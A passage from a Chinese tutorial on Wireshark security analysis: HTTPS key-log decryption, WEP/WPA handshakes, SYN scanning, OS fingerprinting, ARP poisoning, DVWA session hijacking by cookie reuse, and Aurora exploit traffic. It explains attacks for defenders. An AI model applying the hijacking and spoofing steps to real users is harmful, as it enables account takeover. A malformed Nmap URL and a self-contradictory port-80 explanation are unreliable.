下图中方框中提供了多种常见防火墙设备,例如思科的ASA系列、Linux自带的iptables等。

面向安全数据包分析_第78张图片

这里以思科的ASA设备为例,它的规则分为两种standard和extended,其中的standard不能对端口进行过滤,所以我们需要选择Cisco IOS(extended)。 

如下图所示,在这里面很容易就找到了一个用来过滤4444端口流量的规则。

面向安全数据包分析_第79张图片

但是要注意这并非长远之计,现在的黑客利用端口映射技术,可以将任意端口映射到4444端口上。也就是说木马控制服务器可能将数据包发送端口修改为8888,这样便通过了防火墙的检查。但是当数据包到达控制者处,仍然可以映射到端口4444处。因此,我们应该在网络中添加更完善的防御机制。

5、使用Wireshark分析HTTPS协议

目前HTTP协议由于安全性方面的欠缺,正在逐渐被更安全的HTTPS协议所取代。HTTPS相对HTTP的优势主要在于所有通信的数据包都采用了加密技术,但是目前存在很多不同的加密方法,因此在进行分析时,要结合实际情况考虑。

例如当加密过程采用了RSA算法实现密钥交换时,我们就可以通过将加密通话私钥加入到Wireshark中的方法来解析里面的内容。但是目前有些使用的加密技术已经无法进行解密了,因为根本无法导出解密通话的秘钥。不过黑客依然可以采用中间人欺骗的方法来截获网络通信的数据。

下面我们先来介绍一下导入加密通话私钥的方法:

(1)在浏览网页时需要使用Firefox或者Chrome浏览器,其他的浏览器大都无法将用于通话加密的密钥保存成文件。
(2)修改计算机的环境变量配置,如果你使用的是Windows系统,可以在“我的电脑”上单击鼠标

右键选中“属性”,然后在弹出的“控制面板主页”中选中“高级系统设置”→“高级”→“环境变量”,如图所示。

(3)如图所示,在弹出的环境变量窗口中使用“新建”按钮添加一个新的用户变量。 

(4)如图所示,添加一个名为“SSLKEYLOGFILE”的新用户变量,然后在变量值处添加你用来存放这个变量的目录。 

(5)这样在Firefox中通话使用的密钥就会保存在这个文件中。如果你使用的是Linux操作系统的话,可以使用如下语句:

export SSLKEYLOGFILE = ~/path/to/sslkeylog.log

(6)接下来,我们在Wireshark中导入密钥,在菜单栏上依次单击“编辑”→“首选项”,然后在打开的“首选项”窗口中选中“Protocols”,如下图所示。 

面向安全数据包分析_第80张图片

(7)如下图所示,在“Protocols”中找到“SSL”,然后单击右侧的操作界面中(PRE)-Master-secret_log_filename中的Browse按钮,在弹出的资源管理器中选中我们之前设置好的环境变量。 

(8)下面我们再来查看那些加密的流量,在数据包列表中选中加密的数据包,数据包信息面板的下方多了一个“Decrypted SSL”选项卡,这里就是解密之后的数据,如下图所示。

五、无线网络安全

部署和管理无线网络时最大的担忧就是传输数据的安全性。数据在空气中飞过,任何人都能得到它,因此数据加密是至关重要的。否则,任何人拿到Wireshark和AirPcap就都能看到数据了。

当使用其他层次的加密技术时,比如SSL或SSH,通信仍将在该层对数据进行加密,别人使用数据包嗅探器也读不到用户的通信内容。

最初推荐用在无线网络中加密传输数据的技术依据“有线等效加密”(Wired Equivalent Privacy,WEP)标准。WEP在前几年很成功,直到后来发现了它在密钥管理方面的几个漏洞。为了加强安全,几个新标准又相继被设计出来,包括无线上网保护接入(Wi-Fi Protected Access,WPA)和WPA2标准。虽然WPA和更安全的版本WPA2仍然不可靠,但一般认为它们比WEP强多了。

让我们来看一些WEP和WPA流量,以及认证失败的例子。

1、成功的WEP认证

下面的pcap文件包含了成功连接WEP无线网络的例子。这个网络使用WEP安全机制。你必须向WAP提供一个密码,以通过认证并解密它发来的数据。你可以把WEP密码当成无线网络密码。

如下图所示,这个捕获文件以数据包4所示的从WAP(00:11:88:6b:68:30)发送到无线客户端(00:14:a5:30:b0:af)的质询开始。这个质询的目的是确认无线客户端是否有正确的WEP密码。展开802.11头部和tagged parameters,你可以看到这个质询。

在数据包5中,这个质询被确认。然后无线客户端将用WEP密码解密的质询文本返回给WAP,如图所示。

面向安全数据包分析_第81张图片

在数据包7中,这个数据包被再次确认,并且WAP在数据包8中响应了无线客户端,如图所示。响应里包含了一个说明认证成功的通知。 

成功认证后,客户端可以发送关联(association)请求(数据包10)、接收确认并完成连接过程。 

2、失败的WEP认证

在下一个例子中,一位用户输入他的WEP密码连接到WAP,几秒后,无线客户端程序报告无法连接到无线网络,但没有给出原因。

与成功连接时一样,通信从WAP在数据包3发送质询文本到无线客户端开始。这个消息被成功确认了。接着,在数据包4中,无线客户端使用用户提供的WEP密码发送了响应。

到这里,我们会想,应该有一个通知告诉我们认证成功了。但是我们在数据包5却看到了不一样的情况,如图所示。

数据包3:WAP 发送质询文本,包 4 确认。

数据包5:客户端发送 WEP 密码,包 6 确认。

面向安全数据包分析_第82张图片

数据包7:客户端对质询文本的响应不正确,表明密码输错了。 

这个消息告诉我们无线客户端对质询文本的响应不正确。这表明客户端用以解密质询文本的WEP密码肯定输错了。结果,连接过程就失败了。必须用正确的WEP密码重试才行。

3、成功的WPA认证

WPA使用了与WEP完全不同的认证机制,但它仍然依赖于用户在无线客户端输入的密码来连接到网络,下面的pcap文件就是有一个成功的WPA认证的例子。

该文件的第1个数据包是WAP发送的beacon广播。我们展开这个数据包的802.11头部,沿着tagged parameters往下看,展开Vendor Specific标题,如图所示,能看到无线接入点的WPA属性部分。这让我们了解到WAP支持的WPA版本与实现(如果有的话)。

面向安全数据包分析_第83张图片

面向安全数据包分析_第84张图片

无线客户端(00:0f:b5:88:ac:82)收到这个beacon广播后,就向无线接入点(00:14:6c:7e:40:80)发送一个探测请求,并得到了响应。无线客户端和无线接入点在数据包4到7之间的交互,是认证与关联的请求及响应。

客户端(82)收到广播后,向 WAP(80)发送探测请求(包 2)并得到了响应(包 3),之后两者间生成认证与关联的请求及响应(包 4~7),包 8 是 WPA 开始握手的地方,持续到包 11,即 WPA 质询响应过程。

现在把目光转移到数据包8上。这是WPA开始握手的地方,一直持续到数据包11。这个握手过程就是WPA质询响应的过程。

这里有两个质询与响应。每个数据包都可在基于802.1x Authentication头部下的Replay Counter域找到匹配对象,如下图所示。注意到前两个握手数据包的Replay Counter值是1,而后两个握手数据包的值是2。

面向安全数据包分析_第85张图片

WPA握手完成并认证成功后,数据就开始在无线客户端和WAP之间传输了(包12起)。

4、失败的WPA认证

与WEP一样,用户输入WPA密码后,无线客户端程序报告无法连接到无线网络,但没有指出问题在哪里,我们来看一看发生了什么。

像刚才成功的WPA认证那样,捕获文件以同样的方式开始。这包括探测、认证和关联请求。WPA握手从数据包8开始,但在这个例子中,我们看到了8个握手数据包,而不是之前在成功认证环节中看到的4个。

数据包8和9表示WPA握手的前两个数据包。然而在这个例子中,客户端发送回WAP的质询文本有误。结果,这个序列在数据包10和11、12和13、14和15中多次重复,如图所示。

面向安全数据包分析_第86张图片

使用Replay Counter可以配对每个请求和响应。

从包8开始,看到了8个WPA握手数据包,由于在握手包8和9中,客户端响应的质询文本有误,所以在10和11、12 和13、14和15重复了三次,失败后通讯中止,包16表示认证失败。

握手过程重试4次后,通信中止了。

如图所示,数据包16表明无线客户端没有通过认证。

虽然无线网络仍然被普遍认为是不安全的,但它在各个组织环境的部署却丝毫没有减缓。随着人们将焦点转移到无线通信,掌握类似有线网络那样的捕获、分析方法,并用于无线网络数据包变得尤为重要。

六、安全领域数据包分析综合案例

现实世界中,很多数据包分析工作都是为了解决安全问题。当入侵分析师检查来自可疑入侵者的网络流量,或取证人员调查恶意软件在主机上的感染程度时,就会用到数据包分析的方法。

1、网络侦察

攻击者采取的第一步行动是深入研究目标系统。这一步又叫“网络踩点”,通常使用各式各样的公开资源来完成,比如目标公司的主页或者Google。这个研究完成后,攻击者通常开始扫描目标IP地址(或者域名)的开放端口或运行服务。

通过扫描,攻击者可以确定目标是否在线并且可达。例如,想象一下,一位银行大盗盯上了位于缅因街123号的目标——本市规模很大的银行。他花费数星期时间精心策划此次抢劫,却在抵达目的地后才发现银行已经搬迁到了万安街555号。还可以想象一个更糟糕的场景,劫匪计划在正常上班时间步行进入银行,以便对金库下手,刚到银行门口却发现今天歇业。确保目标在线并且可达是我们必须要解决的一个问题。

扫描的另一个重要收获是,它告诉了攻击者目标开放了哪些端口。回到我们刚才类比的银行劫匪,想一想,如果劫匪出现在银行门口,却对整幢楼的布局一无所知,会怎么样?他无法进入大楼,因为他不知道物理防御的弱点在哪里。

1. SYN扫描

首先对系统作TCP SYN扫描,又称为隐秘扫描或半开扫描。SYN扫描是一种常见的扫描类型,有以下几个原因。

  • 快速可靠。
  • 在所有平台上都很准确,与TCP协议栈的实现无关。
  • 比其他扫描技术更安静,不容易被发现。

TCP SYN扫描依赖于三步握手过程,可以确定目标主机的哪些端口是开/的。攻击者发送TCP SYN数据包到受害者的一定范围的端口上,就像要在这些端口上建立用于正常通信的连接似的。

如图所示,一旦受害者收到这个数据包,就可能会做出某些响应。

依赖于 TCP 三次握手协议,攻击者发送 TCP SYN 到目标的范围端口上,通过目标的返回情况来判断目标端口是否开放。

  • 返回 SYN/ACK 表示端口开放;
  • 返回 RST 表示端口关闭;
  • 无返回表示被防火墙阻止或者丢失等。

如果受害者机器上某个服务正在监听的端口收到了SYN数据包,那么它将向攻击者回复一个TCP SYN/ACK数据包,也就是TCP握手的第二部分。这样攻击者就能知道这个端口是开放的,并且有一个服务在上面监听。正常情况下会发送一个TCP ACK包以完成连接握手,但此刻攻击者并不想这样,因为他还不想与主机通信。所以,攻击者并不打算完成TCP握手。

如果没有服务在被扫描的端口上监听,那么攻击者就收不到SYN/ACK。按照受害者操作系统的不同配置,攻击者可能会收到响应的RST数据包,表示端口关闭了,或者,攻击者看不到任何响应。这意味着端口被某个中间设备过滤了,或许是防火墙,或许是主机本身。另一方面,也有可能是因为响应数据包在传输过程中丢失了。这个结果通常表明端口是关闭的,但说服力并不强。

捕获文件synscan.pcp提供了用Nmap工具进行SYN扫描的绝佳例子。

Nmap是Fyodor创立的一款稳定的网络扫描程序,它可以执行你能想到的任何一种扫描方式。

官网:http://www.nmap.com.download.html/

我们捕获的样本大概包含2000个数据包,说明这种扫描有一定的规模。确定这个扫描范围大小的最好办法之一就是查看Conversations窗口,如图所示。

面向安全数据包分析_第87张图片

在这里,你会看到攻击者(172.16.0.8)和受害者(63.13.134.52)之间只有一个IPv4会话。你也会看到,那里有1994个TCP会话——通信基本上是每一个端口对应一个新会话。 

扫描是在极短时间内完成的,因此在捕获文件上滚动鼠标并不是寻找SYN数据包响应的好办法。在接收到响应之前,已经发送了更多的SYN数据包。幸好,我们可以创建过滤器,来帮助我们寻找正确的流量。

1)在SYN扫描中使用过滤器

举一个筛选的例子。让我们看一看第1个数据包——发送到受害者443端口(HTTPS)的SYN数据包。为了查看是否有对这个数据包的响应,我们可以创建一个过滤器,以显示所有源端口或目标端口为443的流量。下面是如何快速设置的方法。

  1. 在捕获文件中选择第一个数据包。
  2. 在Packet Details面板中展开TCP头部。
  3. 右键单击Destination Port字段,选择Prepare as Filter,单击Selected。
  4. 这将在filter对话框放置一个过滤器,针对所有目标端口为443的数据包。现在,由于我们也需要源端口为443的数据包,所以点击屏幕顶端的filter栏,并删除过滤器的dst部分。

结果过滤器给出了两个数据包,都是攻击者发给受害者的TCP SYN数据包。两个数据包都没有得到响应,有可能是因为响应数据包被受害者主机或中间设备过滤了,或者端口是关闭的。但最终来说,对443端口的扫描结果是不确定的。

我们可以用同样的技术来分析其他数据包,看一看有没有不同的结果。首先,单击过滤器旁边的Clear按钮,清空之前创建的过滤器。然后选择列表中的第9个数据包。这是目标端口为80的SYN数据包。使用前面提到的方法,创建一个基于目标端口的过滤器,并删除dst部分,这样它就应用到所有与TCP 80端口有关的流量了。

面向安全数据包分析_第88张图片

这是一个TCP SYN/ACK数据包,在正常情况下,下一个数据包应该是发送初始SYN的主机发送的ACK。

然而,在这个例子中,攻击者并不想建立连接,因而没有发送响应。受害者重传了3次SYN/ACK包才放弃。由于尝试与主机的80端口通信时收到了SYN/ACK响应,因此我们可以确定有一个服务在监听该端口。

查看到http的80端口流量,第1个数据包是初始SYN,紧接着是来自受害者的RST,受害者第一个回应SYN/ACK没有得到响应,又重发了3次才放弃,可以确定受害者的 80 端口是开放的。这是受害者目标端口不接受连接的迹象,表明很可能没有服务运行在上面。

2)识别开放和关闭的端口

理解了SYN扫描能引起的不同响应类型后,自然而然会想到去找一个方法——如何快速识别哪些端口是开放的还是关闭的。

答案再次落到了Conversations窗口内,通过Conversations窗口中 Packets 数量可以识别出哪些端口是开放的。

在这个窗口中,你可以通过数据包数量排序TCP会话,单击Packets列直到箭头向下就可以让最高值靠前。

如上图,3个被扫描的端口在各自会话中包含5个数据包。我们知道53、80和22端口是开放的,因为这5个数据包表示初始SYN、来自受害者的SYN/ACK及其3次重传。

有5个端口的通信只包含2个数据包。第1个是初始SYN,第2个是来自受害者的RST。这表明113、25、31337、113和70端口是关闭的。

Conversations窗口剩下的项只包含1个数据包,意味着受害者主机并没有响应初始SYN包。剩下的这些端口很可能是关闭的,但我们不能确定。

2. 操作系统指纹

了解目标的操作系统对攻击者有极大价值。了解到目标使用的操作系统,将确保攻击者实施具有针对性的攻击手段。同时这个信息也有助于攻击者成功进入系统后,在目标文件系统找到关键文件和目录。

“操作系统指纹术”是指在没有物理接触的情况下,用来确定机器运行的操作系统的一组技术。操作系统指纹术分为两种类型:被动式和主动式。

1)被动式指纹技术

被动式指纹技术通过分析目标发送的数据包的某些字段来确定目标使用的操作系统。这项技术之所以称为“被动”,是因为你只监听目标主机发送的数据包,但并不主动向目标发送任何流量。对黑客来说,这是理想的操作系统指纹技术,因为它非常隐蔽。

也就是说,我们只需要基于目标主机发送的数据包,就能确定它用的是哪一种操作系统了?嗯,这其实非常容易。由于RFC文件定义的协议并未规定全部技术参数的值,这完全是有可能的。虽然TCP、UDP和IP头部的各个字段都有特定含义,但并没有定义这些字段的默认值。这意味着不同操作系统实现的TCP/IP协议栈都必须为这些字段定义它自己的默认值。

下表列出了一些与操作系统实现有关的常见字段及其默认值:

面向安全数据包分析_第89张图片

只监听目标主机发送的数据包,不向目标发送任何流量,非常隐蔽。 

捕获的pcap文件中的数据包是这项技术的绝佳例子。该文件含有两个数据包。它们都是目标端口为80的TCP SYN数据包,但来自不同的主机。仅仅使用这些数据包中的值,我们就能确定每台主机使用的操作系统架构。

数据包的细节如图所示:

面向安全数据包分析_第90张图片

 操作系统指纹术的数据包分类:

基于这些值,我们可以得出结论:发送数据包1的设备运行Windows的可能性最大,而发送数据包2的设备运行Linux的可能性最大。

要记住,上表列出的被动式操作系统指纹技术的常见识别字段并不完整。很多实现上的“怪癖”可能会导致真实值与期望值的偏差。所以,你不能完全依赖被动式操作系统指纹技术得到的结果。

有一个叫p0f的工具使用了操作系统指纹识别技术。该工具分析捕获数据包的相关字段,然后输出可能的操作系统。使用像p0f这样的工具,你不仅能了解到操作系统架构,有时甚至能了解适当的版本号或者补丁级别。

 常用识别域并不完整,容易导致偏差,建议使用 p0f 工具:p0f v3

2)主动式指纹技术

当被动监听流量不能得出想要的结果时,可能需要一个更直接的方法。这种方法叫做“主动式指纹技术”。它是指攻击者主动向受害者发送特意构造的数据包以引起响应,然后从响应数据包中获知受害者机器操作系统的技术。当然,由于这种方法要与受害者直接通信,因此它并不是最隐蔽的,但它可以做到非常高效。

文件中有一些是Nmap发送的探测数据包,这些探测数据包引起的响应可用于识别操作系统。Nmap记录下对这些探测数据包的响应并创建一个指纹,与指纹数据库对比后得出结论。

面向安全数据包分析_第91张图片

主动向受害者发送特意构造的数据包以引起响应,从而获知操作系统信息。 

2、流量操作

1.  ARP缓存污染攻击

ARP缓存污染攻击是网络工程师高效实用的工具。然而,若有恶意企图,它也是一个非常致命的中间人攻击(man-in-the-middle,MITM)方法。

在MITM攻击中,攻击者重定向两台主机间的流量,试图在传输过程中拦截或修改。MITM攻击有多种形式,包括会话劫持、DNS欺骗,以及SSL劫持。

ARP缓存污染攻击之所以有效,是因为特意构造的ARP数据包使两台主机相信它们在互相通信,而实际上它们却是与一个在中间转发数据包的第三方通信。

当打开它ARP缓存污染pcap包时,第一眼你会发现这些流量看起来很正常。然而,如果你跟进这些数据包,就会发现我们的受害者172.16.0.107在浏览Google并执行搜索。搜索的结果导致了一些HTTP流量,并夹杂一些DNS查询。

我们知道ARP缓存污染攻击是发生在第二层的技术,所以如果只是在Packet List面板里随意浏览,恐怕很难发现任何异常。因此,我们在Packet List面板里增加几列,过程如下。

  1. 选择Edit->Preferences。
  2. 单击Preferences窗口左边的Columns。
  3. 单击Add。
  4. 输入Source MAC并按回车键。
  5. 在Field type下拉列表里,选择Hw src addr (resolved)。
  6. 单击新增加的项,拖动它到Source列后面。
  7. 单击Add。
  8. 输入Dest MAC并按回车键。
  9. 在Field type下拉列表里,选择Hw dest addr (resolved)。
  10. 单击新增加的项,拖动它到Destination列后面。
  11. 单击OK使改动生效。

你现在应该有额外的两列,分别显示了数据包的来源MAC地址和目标MAC地址。

如果你还打开了MAC地址解析,应该会看到通信设备的MAC地址表明它是Dell或Cisco硬件。

这是很重要的,因为当我们滚动整个捕获记录时,这些信息在数据包54就开始改变了。我们看到了一些奇怪的ARP流量,在Dell主机(受害者)和新出现的HP主机(攻击者)之间交互。

攻击者重定向两台主机间的流量,试图在传输过程中对流量进行拦截或修改。包括会话劫持、DNS 欺骗和 SSL 劫持。

在 Edit-Preferences 中增加两列显示(来源和目的 MAC 地址):

面向安全数据包分析_第92张图片

进一步深入之前,注意一下这次通信中涉及的端点,由表列出。

ARP数据包有两种类型:请求和响应。请求数据包在网络上广播给所有主机,用以发现包含特定IP地址的机器的MAC地址。接着,响应信息作为单播数据包发给请求的设备。

首先,数据包54是MAC地址为00:25:b3:bf:91:ee的攻击者发送的ARP请求,它作为单播数据包直接发送给MAC地址为00:21:70:c0:56:f0的受害者。这种类型的请求本应该广播给网络上所有主机,但它却只是直接发给了受害者。我们又注意到虽然这个数据包是攻击者发送的,并且在 ARP头部包含了攻击者的MAC地址,但它却列出了路由器的IP地址,而不是它自己的。

紧随这个数据包的是受害者发给攻击者的响应,包含它的MAC地址信息。最诡异的事情出现在数据包56里:攻击者给受害者发送了一个包含未请求ARP响应的数据包,告诉它172.16.0.1对应的MAC地址是00:25:b3:bf:91:ee。

问题是172.16.0.1对应的MAC地址不是00:25:b3:bf:91:ee而应该是00:26:0b:31:07:33。因为在之前的数据包捕获中我们看到过路由器172.16.0.1与受害者的通信,所以我们知道事实本应如此。由于ARP协议内在的不安全性(它的ARP表接收未请求的更新),因此现在受害者会将本应发送到路由器的流量发送给攻击者。

因为这些数据包是从受害者机器上捕获的,所以你实际上没有看到事情的全貌。要使攻击生效,攻击者必须给路由器发送同样序列的数据包,骗它认为攻击者就是受害者。但我们需要在路由器(或攻击者)捕获才能看到这些数据包。

一旦两头都上当,受害者和路由器间的通信就会流经攻击者,如图所示。

面向安全数据包分析_第93张图片

数据包57可以确认攻击取得成功。当你用神秘的ARP通信之前发送的数据包(比如数据包40)与它比较时,就会发现远程服务器(Google)的IP地址是一样的,但目标MAC地址却变化了。MAC地址的变化告诉我们,现在的流量抵达路由器之前将被路由到攻击者。

攻击者直接发给受害者 ARP 请求而不是广播发送,并且将 IP 伪装成路由器的IP172.16.0.1,而后又欺骗受害者路由器的 MAC 为自己的 MAC。这样就截获了受害者的流量 。

目标MAC地址的变化说明这次攻击是成功的。

这个攻击如此狡猾,以至它很难被检测。要想发现它,你通常需要专门配置IDS的帮助,或者在设备上运行能检测ARP表项突然变化的软件。因为你很可能会想利用ARP缓存污染攻击来捕获网络上的数据包以便分析,所以了解如何使用这种技术也是很重要的。 

2. 会话劫持

现在你了解了如何恶意使用ARP缓存投毒。我现在将演示一种利用ARP缓存投毒的技术:会话劫持。在会话劫持中,攻击者窃取一个HTTP会话cookie,然后伪装为另一个用户;我们将很快对HTTP cookie进行学习。为了达到这个目的,攻击者使用ARP缓存投毒截获一次目标通信,并找到相关的会话cookie信息。随后,攻击者能够使用窃取的cookie,以对应用户的身份访问目标Web应用。

这个场景的通信数据在sessionhijacking.pcapng中。抓包文件包含目标(172.16.16.164)与Web应用(172.16.16.181)之间的传输数据包。用户在不知情的情况下成为攻击受害者,他们的通信过程被攻击者(172.16.16.154)主动监听。这些数据包在Web服务器上被抓取,这与会话劫持发生时,防御者的角度一致。

本例中访问的Web应用是Damn Vulnerable Web Application(DVWA)。此应用预留了很多可被多种攻击方式利用的漏洞,经常被作为教学工具使用。

抓取的通信过程基本由两个会话组成。第一个会话在目标用户和Web服务器之间进行,使用过滤器ip.addr == 172.16.16.164 && ip.addr == 172.16.16.181分离此会话。这是一次正常的网页浏览通信,并没有特别之处。出于特殊的目的,我们主要关注请求中的cookie值。例如,在数据包14的GET请求中,你会在数据包详情窗口中发现cookie,如图所示。

面向安全数据包分析_第94张图片

此处,cookie使用PHPSESSID值ncobrqrb7fj2a2sinddtk567q4标识会话ID。

网站使用cookie维护每个用户的会话信息。当一个新用户访问网站时,用户将使用一个会话ID用于身份识别(本例中为PHPSESSID)。在用户验证过程中,很多应用在用户使用会话ID完成验证后,在数据库中创建相应的记录,将会话ID作为已验证的会话凭证。任何使用这一ID的用户都能够使用此次验证记录接入应用。当然,开发者愿意相信,只有一个用户能够使用某一个特定的ID,因为生成方式保证ID是独一无二的。然而,这种处理会话ID的方式是不安全的,因为恶意用户能够窃取其他用户的ID,然后伪造身份。目前有一些方法可以用于防止会话劫持的发生,但是很多网站,包括DVWA,仍然能够被会话劫持。

受害者没有意识到他们的通信正在被监听,或是发现他们的会话cookie被攻击者截取。现在,攻击者只需要使用窃取的cookie值即可与Web服务器通信。可以通过某些代理服务器完成这项工作,不过,使用浏览器插件会更简单,如Chrome的Cookie管理器。利用这个插件,攻击者可以将PHPSESSID设置为从以上通信获取的值。

如果你清除了之前设置的筛选条件,并浏览数据包,就会看到攻击者的IP地址与Web服务器的通信。你可以将筛选条件设为ip.addr == 172.16.16.154 && ip.addr ==172.16.16.181来限定查看范围。

在进一步研究之前,让我们添加一个栏目,用于在数据包列表面板中显示cookie值。如果在ARP缓存投毒的过程中添加了一些栏目,请先将它们删除。之后,按照在ARP缓存投毒提到的操作步骤新增栏目,栏目的字段名为http.cookie_pair。添加完成后,将此栏目放在目的地址栏之后。

新的栏目设置完成后,修改筛选条件,仅显示HTTP请求,此处TCP通信没有用处。新的筛选条件为(ip.addr==172.16.16.154 && ip.addr==172.16.16.181) && (http.request.method || http.response.code)。

现在,我们查看攻击者和服务器之间的通信。在前4个数据包中,攻击者请求/dvwa/目录,接收到的响应状态码为302;Web服务器响应302表示请求重定向至其他URL。此时,攻击者被重定向至登录页面/dvwa/login.php。攻击者的计算机请求登录页面,并返回为请求成功。两次请求均使用会话ID lup70ajeuodkrhrvbmsjtgrd71。

随后,再次请求/dvwa/目录,我们注意到现在会话ID发生了变化。会话ID现在是ncobrqrb7fj2a2sinddtk567q4,与之前受害者使用的相同。这表明,攻击者操纵会话,使用了窃取的ID。此时我们并没有被重定向至登录页面,请求返回了HTTP 200状态码,页面内容与登录后的受害者看到的一致。

攻击者使用了受害者的ID dvwa/setup.php,页面内容同样返回成功。攻击者和验证成功的受害者一样访问DVWA网站。这一过程中我们并不知道受害者的用户名或密码。

这只是攻击者将数据包分析变为攻击工具的一个例子。通常我们认为,当攻击者能够看到与通信过程相关的数据包时,将为恶意活动提供发生的可能性。这是安全专家提倡通过加密保护数据传输的原因之一。

3、漏洞利用

攻击者是吃饭还是喝粥,就要看漏洞利用阶段的表现了。攻击者已经研究并侦察好目标,并发现了准备利用的漏洞,期望以此进入目标系统

1. 极光行动

2010年1月,极光行动利用了一个当时未知的IE浏览器漏洞。这个漏洞允许攻击者取得Google及其他公司的目标机器的root级别的远程控制权限。

用户只需要用包含该漏洞的IE浏览器访问一个网站,就能执行这个恶意代码。然后,攻击者就能立刻获得用户机器的管理员权限。攻击者使用了“网络钓鱼”引诱受害者。所谓“网络钓鱼”(Spear phishing)是指攻击者向受害者发送一封电子邮件,诱导受害者单击邮件中的链接,从而将其引导至一个恶意网站。通常,网络钓鱼信息看起来都像来自可信的源,因此它们经常能成功。

在极光行动的案例中,我们从用户单击钓鱼邮件中链接的那一刻开始讲起。

这个捕获文件以受害者(192.168.100.206)和攻击者(192.168.100.202)之间的三次握手开始。初始化连接的目标是80端口,这使我们相信它是HTTP流量。第四个数据包证实了我们的假设,它是一个对/info的HTTP GET请求,如图所示。

面向安全数据包分析_第95张图片

受害者打开来自攻击者的邮件,点击里面的链接,跳到恶意网站。

攻击者的恶意网站返回 302 重定向,受害者向重定向的 URL 发起 GET 请求。

面向安全数据包分析_第96张图片

攻击者的机器确认收到了GET请求,并在数据包6中返回了一个302(Moved Temporarily)码。这个状态码通常用于将浏览器重定向到另一个页面,在这个案例中正是如此。与302返回码一起来的还有一个Location字段,它指明重定向位置是/info?rFfWELUjLJHpP,如上图所示。

收到HTTP 302数据包后,客户端在数据包7中初始化了另一个针对/info?rFfWELUjLJHpP这个URL的GET请求,然后在数据包8中收到了一个ACK。ACK之后的几个包表示从攻击者发往受害者的数据。为了更好地查看那些数据,右击当前TCP流的任一个数据包,如数据包9,选择Follow TCP Stream。在这个数据流的输出中,我们看到了初始GET请求、302重定向,以及第二个GET请求。

攻击者 WEB 服务器向受害者发送一个含有混淆的 JavaScript 代码的页面,和一个含恶意GIF 链接的 iframe。在此之后,事情变得十分奇怪了。攻击者向GET请求响应了一些看起来非常奇怪的内容。

下图显示了这些内容的第一部分:

面向安全数据包分析_第97张图片

这些内容好像是之前的最后一些文本比特。

受害者下载恶意GIF图像:

面向安全数据包分析_第98张图片

攻击者发给客户端的最后一段数据包含两个部分。

第1部分是。第2部分包含在标签内,是